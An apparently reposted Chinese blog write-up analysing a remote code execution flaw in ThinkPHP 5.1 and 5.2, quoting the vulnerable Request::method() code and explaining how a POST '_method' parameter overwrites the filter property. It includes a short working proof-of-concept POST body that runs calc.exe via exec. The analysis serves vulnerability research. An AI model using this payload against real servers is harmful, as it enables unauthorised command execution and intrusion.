$ 0 0 From:http://115.198.56.141:19300/wordpress/index.php/2019/01/15/thinkphp5-1-5-2-rec/ # 序言 最近爆出了Thinkphp5.0.*全版本代码执行,其中5.1与5.2全版本在生产环境下下同样也存在代码执行 # 漏洞分析: 文件位置:\thinkphp\library\think\Request.php ```php /** * 当前的请求类型 * @access public * @param bool $origin 是否获取原始请求类型 * @return string */ public function method($origin = false) { if ($origin) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[$this->config['var_method']])) { $this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST; } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) { $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; } ``` 其中: ```php $this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST; ``` $method变量是$this->method,其同等于POST的”_method”参数值 然后该处存在一个变量覆盖 我们可以覆盖 $filter 属性值(POC如下) c=exec&f=calc.exe&&_method=filter& 访问如下图所示:  会爆出一个警告级别的异常,导致程序终止 # 如何触发: 如果设置忽略异常提示,如下图:  本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置 # Payload(POST请求): 弹出计算器  # Docker镜像: docker push 0day5/thinkphp5-1-5-2-rec